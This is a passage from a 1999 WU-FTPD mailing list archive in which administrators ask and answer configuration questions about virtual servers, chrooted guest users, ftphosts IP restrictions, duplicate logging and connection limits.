Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Fri, 12 Mar 1999, Michael Wright wrote:

> I just updated to 2.4.2 final.
>
> I have some three virtual servers. On my second server for remote real
> logins, users are given a permission denied messages after the name is entered.
>
> Anyone know what is going on.

What is the exact version string reported on the greeting when you log
into the server?

Assuming you're running a VR version:

There's a feature (CLOSED_VIRTUAL_SERVER), enabled by default, which
prevents anyone except anonymous and certain guest users to log into a
virtual server. Only guests whose home directory is the same as the root
for the virtual server are allowed.

The VR version includes a new ftpaccess phrase for the 'virtual' clause
which allows you to deny anonymous access. It also has another phrase
which allowed you to specify which real/guest users are allowed on the
virtual server, in addition to the guests allowed by default. These are
all covered in the manpage for ftpaccess.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 15 14:30:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id OAA24983;
Mon, 15 Mar 1999 14:30:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id OAA24613;
Mon, 15 Mar 1999 14:21:41 -0600 (CST)
Received: from gomez.msfc.nasa.gov (GOMEZ.MSFC.NASA.GOV [128.158.176.175])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id OAA14971
for <[email protected]>; Mon, 15 Mar 1999 14:15:48 -0600 (CST)
Received: from whitewolf (whitewolf.msfc.nasa.gov [128.158.176.177])
by gomez.msfc.nasa.gov (8.9.1/8.8.7) with SMTP id OAA16864
for <[email protected]>; Mon, 15 Mar 1999 14:15:44 -0600 (CST)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 14:15:44 -0700
Reply-To: [email protected]
Sender: [email protected]
From: Michael Wright <[email protected]>
To: [email protected]
Subject: found the problem
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Thank you all for your replies. This turned out to be operator error.

I have it working now.

Michael

From [email protected] Mon Mar 15 17:02:22 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA27089;
Mon, 15 Mar 1999 17:02:21 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id QAA01065;
Mon, 15 Mar 1999 16:54:40 -0600 (CST)
Received: from maila.telia.com ([email protected] [194.236.189.4])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id QAA19181
for <[email protected]>; Mon, 15 Mar 1999 16:52:37 -0600 (CST)
Received: from asylum (t2o84p94.telia.com [62.20.178.214])
by maila.telia.com (8.8.8/8.8.8) with SMTP id XAA20187
for <[email protected]>; Mon, 15 Mar 1999 23:52:26 +0100 (CET)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 23:52:51 +0100
Reply-To: "Martin Edelius" <[email protected]>
Sender: [email protected]
From: "Martin Edelius" <[email protected]>
To: "WU-FTP mailing list" <[email protected]>
Subject: User restrictions...?
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 4.72.3110.5
X-MimeOLE: Produced By Microsoft MimeOLE V4.72.3110.3
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi.

I've been tweaking my WU FTP config for two hours or so now and I can't
get it to do what I want. Since I'm new to the WU FTP (heck, FTP's in
general, at least on the admin side 8) I'm not sure that it can do what
I want:

Our site has a number of hosted sites, all maintained by different
users. Our html root is at /home/httpd/html and to allow our hosted
sites to be accessed via www.domain.com/hostedsite we're placing them in
/home/httpd/html/hostedsite.

So far so good. The problem is that no matter how I try I can't stop the
hosted sites managers from moving around in the directory as they
please, that is leave their site root directory. If they want to they
can just jump down to the root and all over the server. Is there a way
to prevent this?

I've been fooling around with the guestgroup entry in ftpaccess and it
stops the user from getting outside his home directory but I can't get
my FTP-client to do a proper LIST, nothing shows up. I can upload
wihtout problem though. I've tried to add ls to a number of different
directories /home/httpd/html/hostedsite/bin, /home/httpd/html/bin and
even /home/ftp/bin (where it already was btw...), but no difference.

Am I barking up the wrong tree here? Should I get us another FTP server?

All help appreciated, we'll be going on-line soon (I hope 8)

-- Martin
Unreal Nation

From [email protected] Mon Mar 15 17:16:23 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA27286;
Mon, 15 Mar 1999 17:16:22 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA20915;
Mon, 15 Mar 1999 17:07:38 -0600 (CST)
Received: from mail.alpha1.net ([email protected] [216.88.112.3])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA21400
for <[email protected]>; Mon, 15 Mar 1999 17:02:53 -0600 (CST)
Received: from swedishchef.alpha1.net (IDENT:[email protected] [208.224.192.10])
by mail.alpha1.net (8.9.1a/8.9.1) with ESMTP id RAA15641
for <[email protected]>; Mon, 15 Mar 1999 17:03:21 -0600
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 17:03:03 -0600 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Marius Strom <[email protected]>
To: [email protected]
Subject: Access Control?
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Does anyone know of a method to only allow a certain user to logon from
either a certain IP address or a certain addrglob specification? (The
source machine is a non-identd based host, so tcp wrappers won't cut it in
this case)

--
Marius Strom - [email protected]
Computer Geek/Telecommunications Engineering Student
Unix System Administrator, Alpha1 Internet (http://www.alpha1.net)
Texas A&M University (http://www.tamu.edu)

From [email protected] Mon Mar 15 17:32:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA27482;
Mon, 15 Mar 1999 17:32:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA22606;
Mon, 15 Mar 1999 17:13:59 -0600 (CST)
Received: from orr.pwgsc.gc.ca (orr.pwgsc.gc.ca [198.103.167.14])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA07276
for <[email protected]>; Mon, 15 Mar 1999 17:08:44 -0600 (CST)
Received: id SAA12331; Mon, 15 Mar 1999 18:06:55 -0500
Received: by gateway ???
Received: by gateway id SAA05552
for <[email protected]>; Mon, 15 Mar 1999 18:00:10 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 18:07:20 -0500
Reply-To: [email protected]
Sender: [email protected]
From: "Robertson, Rocke" <[email protected]>
To: wuftp <[email protected]>
Subject: logging double...
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.03 [en] (WinNT; U)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Solaris 2.6/beta18VR16 everything logs double. Everything else works
perfectly. What can couse double syslog entries.....

inetd.conf

ftp stream tcp nowait root /opt/bin/in.ftpd
/opt/bin/in.ftpd -laio -u002

Access....

log commands anonymous
log commands guest

If anyone has seen this before, I would appreciate your input. Been
through the archives and didn't get too far.

Tanks tons.

--
Rocke Robertson
PWGSC/GTIS
(613)991-2604
[email protected]

From [email protected] Mon Mar 15 17:39:10 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA27601;
Mon, 15 Mar 1999 17:39:10 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA17808;
Mon, 15 Mar 1999 17:31:32 -0600 (CST)
Received: from poseidon.coastside.net (poseidon.coastside.net [207.213.212.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA24666
for <[email protected]>; Mon, 15 Mar 1999 17:25:32 -0600 (CST)
Received: from jeep.coastside.net (jeep.coastside.net [207.213.212.249])
by poseidon.coastside.net (8.8.8/8.8.8) with SMTP id PAA08620;
Mon, 15 Mar 1999 15:19:31 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 15:18:17 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Rob Genovesi <[email protected]>
To: "Martin Edelius" <[email protected]>
Cc: [email protected]
Subject: Re: User restrictions...?
In-Reply-To: <[email protected]>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Martin,

Because you are in fact "chroot"'ing to the users directory you need to
have the proper commands in place for the LIST ("ls") command to work.
Using guestgroup means that each users home directory needs to be set up as
if it were a root for an anonymous ftp (must have an /etc, /dev, etc...
with the proper bin files inside of it).

Hope this helps,

Rob Genovesi
[email protected]

At 11:52 PM 3/15/99 +0100, you wrote:
>Hi.
>
>I've been tweaking my WU FTP config for two hours or so now and I can't
>get it to do what I want. Since I'm new to the WU FTP (heck, FTP's in
>general, at least on the admin side 8) I'm not sure that it can do what
>I want:
>
>Our site has a number of hosted sites, all maintained by different
>users. Our html root is at /home/httpd/html and to allow our hosted
>sites to be accessed via www.domain.com/hostedsite we're placing them in
>/home/httpd/html/hostedsite.
>
>So far so good. The problem is that no matter how I try I can't stop the
>hosted sites managers from moving around in the directory as they
>please, that is leave their site root directory. If they want to they
>can just jump down to the root and all over the server. Is there a way
>to prevent this?
>
>I've been fooling around with the guestgroup entry in ftpaccess and it
>stops the user from getting outside his home directory but I can't get
>my FTP-client to do a proper LIST, nothing shows up. I can upload
>wihtout problem though. I've tried to add ls to a number of different
>directories /home/httpd/html/hostedsite/bin, /home/httpd/html/bin and
>even /home/ftp/bin (where it already was btw...), but no difference.
>
>Am I barking up the wrong tree here? Should I get us another FTP server?
>
>All help appreciated, we'll be going on-line soon (I hope 8)
>
>
>-- Martin
>Unreal Nation
>
>
>
>

From [email protected] Mon Mar 15 17:47:29 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA27778;
Mon, 15 Mar 1999 17:47:28 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA22631;
Mon, 15 Mar 1999 17:39:55 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA26201
for <[email protected]>; Mon, 15 Mar 1999 17:29:02 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id KAA29764;
Tue, 16 Mar 1999 10:28:52 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id KAA07062;
Tue, 16 Mar 1999 10:28:51 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma006788; Tue, 16 Mar 99 10:28:37 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id KAA09195;
Tue, 16 Mar 1999 10:28:36 +1100 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 10:27:32 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Martin Edelius <[email protected]>
Cc: WU-FTP mailing list <[email protected]>
Subject: Re: User restrictions...?
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Martin,

This really is answered in the FAQ (details below), but I'll give you a
quick summary.

If you use guestgroups, then the users are logged into a change root
environment, and
effectively see their home directory as /. This means that in ordir for
LIST to work
correctly, you have to add a basic directory structure to their home
directories, including
a copy of ls in /bin, and the libraries required for ls to run in /lib.

This has been summarised a number of times in the past on this list, so if
you check out
the list archives and the FAQ you should get a pretty good idea of what is
required.

wu-ftpd Resource Center: http://www.landfield.com/wu-ftpd/
wu-ftpd FAQ:
http://www.cetis.hvu.nl/~koos/wu-ftpd-faq.html
wu-ftpd list archive:
http://www.landfield.com/wu-ftpd/mail-archive/

Hope this helps,

James

Martin Edelius wrote:

> Hi.
>
> I've been tweaking my WU FTP config for two hours or so now and I can't
> get it to do what I want. Since I'm new to the WU FTP (heck, FTP's in
> general, at least on the admin side 8) I'm not sure that it can do what
> I want:
>
> Our site has a number of hosted sites, all maintained by different
> users. Our html root is at /home/httpd/html and to allow our hosted
> sites to be accessed via www.domain.com/hostedsite we're placing them in
> /home/httpd/html/hostedsite.
>
> So far so good. The problem is that no matter how I try I can't stop the
> hosted sites managers from moving around in the directory as they
> please, that is leave their site root directory. If they want to they
> can just jump down to the root and all over the server. Is there a way
> to prevent this?
>
> I've been fooling around with the guestgroup entry in ftpaccess and it
> stops the user from getting outside his home directory but I can't get
> my FTP-client to do a proper LIST, nothing shows up. I can upload
> wihtout problem though. I've tried to add ls to a number of different
> directories /home/httpd/html/hostedsite/bin, /home/httpd/html/bin and
> even /home/ftp/bin (where it already was btw...), but no difference.
>
> Am I barking up the wrong tree here? Should I get us another FTP server?
>
> All help appreciated, we'll be going on-line soon (I hope 8)
>
> -- Martin
> Unreal Nation

From [email protected] Mon Mar 15 17:50:21 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id RAA27814;
Mon, 15 Mar 1999 17:50:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA15861;
Mon, 15 Mar 1999 17:43:37 -0600 (CST)
Received: from aventurine.sge.net (aventurine.sge.net [152.91.14.25])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA19543
for <[email protected]>; Mon, 15 Mar 1999 17:35:00 -0600 (CST)
Received: from titanium.sge.net ([email protected] [152.91.9.2])
by aventurine.sge.net (8.9.3/8.9.3) with ESMTP id KAA02366;
Tue, 16 Mar 1999 10:34:50 +1100 (EST)
Received: (from uucp@localhost)
by titanium.sge.net (8.8.5/8.8.5) id KAA11207;
Tue, 16 Mar 1999 10:34:49 +1100 (EST)
Received: from kryptonite.sge.net(10.1.2.11) by titanium.sge.net via smap (3.2)
id xma010959; Tue, 16 Mar 99 10:34:36 +1100
Received: from amber. (ice-int2.sge.net [10.1.2.254])
by kryptonite.sge.net (8.9.3/8.9.3) with SMTP id KAA11859;
Tue, 16 Mar 1999 10:34:34 +1100 (EST)
Message-Id: <[email protected]>
Date: Tue, 16 Mar 1999 10:33:29 +1100
Reply-To: [email protected]
Sender: [email protected]
From: James McMahon <[email protected]>
To: Marius Strom <[email protected]>
Cc: [email protected]
Subject: Re: Access Control?
References: <[email protected]>
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Mailer: Mozilla 4.06 [en] (WinNT; I)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

This is covered by using wu-ftpd with the ftphosts file in whatever directory
that
you configured it to be in. The format is as follows:

allow user1 10.1.1.1, 10.2.1.0/24, 10.3.1.0:255.255.255.0
deny user2 10.1.1.1

etc.

See 'man ftphosts' for more information.

Hope this helps,

James
Marius Strom wrote:

> Does anyone know of a method to only allow a certain user to logon from
> either a certain IP address or a certain addrglob specification? (The
> source machine is a non-identd based host, so tcp wrappers won't cut it in
> this case)
>
> --
> Marius Strom - [email protected]
> Computer Geek/Telecommunications Engineering Student
> Unix System Administrator, Alpha1 Internet (http://www.alpha1.net)
> Texas A&M University (http://www.tamu.edu)

From [email protected] Mon Mar 15 18:33:31 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA28379;
Mon, 15 Mar 1999 18:33:30 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA19332;
Mon, 15 Mar 1999 18:25:59 -0600 (CST)
Received: from poseidon.coastside.net (poseidon.coastside.net [207.213.212.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA03639
for <[email protected]>; Mon, 15 Mar 1999 18:19:25 -0600 (CST)
Received: from jeep.coastside.net (jeep.coastside.net [207.213.212.249])
by poseidon.coastside.net (8.8.8/8.8.8) with SMTP id QAA11345
for <[email protected]>; Mon, 15 Mar 1999 16:20:28 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 16:19:14 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Rob Genovesi <[email protected]>
To: [email protected]
Subject: help with defumask
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

Is there a way to set defumask based in the users real username
(/etc/passwd) or real group (/etc/group)? I see that it can be done by
defining a class, which is specified via addrglob, but this won't work for me.

any help?

Thanks,

Rob Genovesi
[email protected]

From [email protected] Mon Mar 15 18:38:42 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id SAA28476;
Mon, 15 Mar 1999 18:38:42 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id SAA06071;
Mon, 15 Mar 1999 18:32:20 -0600 (CST)
Received: from poseidon.coastside.net (poseidon.coastside.net [207.213.212.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id SAA18605
for <[email protected]>; Mon, 15 Mar 1999 18:31:50 -0600 (CST)
Received: from jeep.coastside.net (jeep.coastside.net [207.213.212.249])
by poseidon.coastside.net (8.8.8/8.8.8) with SMTP id QAA11846
for <[email protected]>; Mon, 15 Mar 1999 16:32:52 -0800 (PST)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 16:31:39 -0800
Reply-To: [email protected]
Sender: [email protected]
From: Rob Genovesi <[email protected]>
To: [email protected]
Subject: help with defumask
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.5 (32)
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Hi,

Is there a way to set defumask based in the users real username
(/etc/passwd) or real group (/etc/group)? I see that it can be done by
defining a class, which is specified via addrglob, but this won't work for me.

any help?

almost forgot the most important part:
I am running: Version wu-2.4.2-academ[BETA-18-VR12](1)
On: Sun Solaris 2.5.1

Thanks,

Rob Genovesi
[email protected]

From [email protected] Mon Mar 15 19:12:35 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id TAA29974;
Mon, 15 Mar 1999 19:12:34 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id TAA08243;
Mon, 15 Mar 1999 19:04:39 -0600 (CST)
Received: from quackerjack.cc.vt.edu ([email protected] [198.82.160.250])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id TAA05290
for <[email protected]>; Mon, 15 Mar 1999 19:00:03 -0600 (CST)
Received: from sable.cc.vt.edu (sable.cc.vt.edu [128.173.16.30])
by quackerjack.cc.vt.edu (8.8.8/8.8.8) with ESMTP id RAA05367
for <[email protected]>; Mon, 15 Mar 1999 17:00:34 -0500 (EST)
Received: from ccloughl-2 (ccloughl.campus.vt.edu [198.82.113.173])
by sable.cc.vt.edu (8.8.8/8.8.8) with SMTP id RAA16014
for <[email protected]>; Mon, 15 Mar 1999 17:00:33 -0500 (EST)
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 16:58:55 -0500
Reply-To: [email protected]
Sender: [email protected]
From: Charles Cloughly <[email protected]>
To: [email protected]
Subject: Limiting number of connections by IP
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Sender: [email protected]
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Is there a way to limit the number of simultaneous connections from any IP?
I'm having problems with people dominating my machine by using all of the
available connections in their user class. I am running
wu-2.4.2-academ[BETA-18] on a 586 Linux 2.0.36 system.
Thanks in advance.
- Charles Cloughly

From [email protected] Mon Mar 15 20:19:00 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA05757;
Mon, 15 Mar 1999 20:18:59 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA02721;
Mon, 15 Mar 1999 20:11:20 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA18821
for <[email protected]>; Mon, 15 Mar 1999 20:03:18 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id VAA29698;
Mon, 15 Mar 1999 21:03:14 -0500
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 21:03:13 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Charles Cloughly <[email protected]>
Cc: [email protected]
Subject: Re: Limiting number of connections by IP
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 15 Mar 1999, Charles Cloughly wrote:

> Is there a way to limit the number of simultaneous connections from
> any IP? I'm having problems with people dominating my machine by using
> all of the available connections in their user class. I am running
> wu-2.4.2-academ[BETA-18] on a 586 Linux 2.0.36 system.

This has been a requested feature for a few years now. Currently, there
is no way to get the limit you're asking for.

I've found that most of the 'hogging' is from Netsape and IE users. The
browsers tend to leave connections hanging until the next command, then
close it and open a new connection. To reduce the problem here, I've set
the idle timeout **WWAAYY** down .. from the 15 minutes it was originally
to 5 minutes. The number of simultaneous connections after this change
dropped from an average of 34 to an average of 7. I tried lower than 5
minutes but noted it was causing problems for by-hand users.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 15 20:21:55 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA05883;
Mon, 15 Mar 1999 20:21:54 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA15349;
Mon, 15 Mar 1999 20:15:27 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA08721
for <[email protected]>; Mon, 15 Mar 1999 20:04:25 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id VAA29716;
Mon, 15 Mar 1999 21:04:21 -0500
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 21:04:21 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: "Robertson, Rocke" <[email protected]>
Cc: wuftp <[email protected]>
Subject: Re: logging double...
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 15 Mar 1999, Robertson, Rocke wrote:

> Solaris 2.6/beta18VR16 everything logs double. Everything else works
> perfectly. What can couse double syslog entries.....

I'd look for doubled log configuration in /etc/syslog.conf

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 15 20:26:03 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA06062;
Mon, 15 Mar 1999 20:26:00 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id UAA18683;
Mon, 15 Mar 1999 20:18:11 -0600 (CST)
Received: from mail.vr.net ([email protected] [205.133.13.8])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id UAA17999
for <[email protected]>; Mon, 15 Mar 1999 20:06:41 -0600 (CST)
Received: from localhost (lundberg@localhost)
by mail.vr.net (8.9.3/8.9.3) with ESMTP id VAA29772;
Mon, 15 Mar 1999 21:06:23 -0500
Message-Id: <[email protected]>
Date: Mon, 15 Mar 1999 21:06:23 -0500 (EST)
Reply-To: [email protected]
Sender: [email protected]
From: Gregory A Lundberg <[email protected]>
To: Rob Genovesi <[email protected]>
Cc: [email protected]
Subject: Re: help with defumask
In-Reply-To: <[email protected]>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

On Mon, 15 Mar 1999, Rob Genovesi wrote:

> Is there a way to set defumask based in the users real username
> (/etc/passwd) or real group (/etc/group)? I see that it can be done
> by defining a class, which is specified via addrglob, but this won't
> work for me.

No. I've noted it as an idea for future consideration.

--

Gregory A Lundberg Senior Partner, VRnet Company
1441 Elmdale Drive [email protected]
Kettering, OH 45409-1615 USA 1-800-809-2195

From [email protected] Mon Mar 15 20:27:20 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id UAA06131;
Mon, 15 Mar 1999 20:27:20 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id RAA16784;
Mon, 15 Mar 1999 17:27:16 -0600 (CST)
Received: from tower.ti.com (tower.ti.com [192.94.94.5])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id RAA03384
for <[email protected]>; Mon, 15 Mar 1999 17:25:18 -0600 (CST)
Received: from spanky.dal.asp.ti.com ([172.24.154.20]) by tower.ti.com (8.8.8) with ESMTP id RAA11008; Mon, 15 Mar 1999 17:24:20 -0600 (CST)
Received: from pavis.asic.sc.ti.com (pavis.asic.sc.ti.com [128.247.100.46])
by spanky.dal.asp.ti.com (8.8.8+Sun/8.8.8/FL-ASP-1.9) with SMTP id RAA26313;
Mon, 15 Mar 1999 17:24:20 -0600 (CST)
Received: by pavis.asic.sc.ti.com id <[email protected]>; Mon, 15 Mar 99 17:24:17 -0600
Message-Id: <[email protected]>
Date: Mon, 15 Mar 99 17:24:15 CST
Reply-To: [email protected] (Bob Luckin)
Sender: [email protected]
From: Bob Luckin <[email protected]>
To: [email protected]
Cc: [email protected]
Subject: Re: User restrictions...?
In-Reply-To: <[email protected]>; from "Martin Edelius" at Mar 15, 99 11:52 pm
X-Mimi-Options: HEADERS TI2
X-Listprocessor-Version: 8.0 -- ListProcessor(tm) by CREN

Martin,

> I've been fooling around with the guestgroup entry in ftpaccess and it
> stops the user from getting outside his home directory but I can't get
> my FTP-client to do a proper LIST, nothing shows up. I can upload
> wihtout problem though. I've tried to add ls to a number of different
> directories /home/httpd/html/hostedsite/bin, /home/httpd/html/bin and
> even /home/ftp/bin (where it already was btw...), but no difference.
>
> Am I barking up the wrong tree here? Should I get us another FTP server?
>
> All help appreciated, we'll be going on-line soon (I hope 8)

Once FTP has chrooted to the user's home directory, it can't see the ls
command any more. You need to put a copy of this in the bin directory
in the chrooted area; you'll also need to put any libraries the command
might require in usr/lib in the chrooted area etc...

I don't run guestgroups myself, so I can't give you more specific advice,
but there is a document describing how to do this in Kent Landfield's
WU-FTPD Resource Center at
http://www.landfield.com/wu-ftpd/guest-howto.html
This should explain what you need to know.

The home page for the Resource Center is http://www.landfield.com/wu-ftpd/;
it's a good place to start looking whenever you have problems.

Good luck !

Cheers, Bob
--
Bob Luckin [email protected] "Coder, adapt. FTP Ada, redo C"
[http://www.dhc.net/~luckin/palindromes.html]

From [email protected] Mon Mar 15 23:25:27 1999
Received: from wugate.wustl.edu (wugate.wustl.edu [128.252.120.1])
by landfield.com (8.9.0/8.9.0) with ESMTP id XAA20781;
Mon, 15 Mar 1999 23:25:27 -0600 (CST)
Received: from host (wugate.wustl.edu [128.252.120.1])
by wugate.wustl.edu (8.8.8/8.8.5) with SMTP id XAA26337;
Mon, 15 Mar 1999 23:17:54 -0600 (CST)
Received: from neo.ZONE.NET (neo.zone.net [198.240.0.2])
by wugate.wustl.edu (8.8.8/8.8.5) with ESMTP id XAA12388
for <[email protected]>; Mon, 15 Mar 1999 23:17:04 -0600 (CST)
Received: from localhost (jan@localhost) by neo.ZONE.NET (8.8.8/970824) with SMTP id AAA13794; Tue, 16 Mar 1999 00:17:04 -0500 (EST)
Message-Id: <[email protected]>
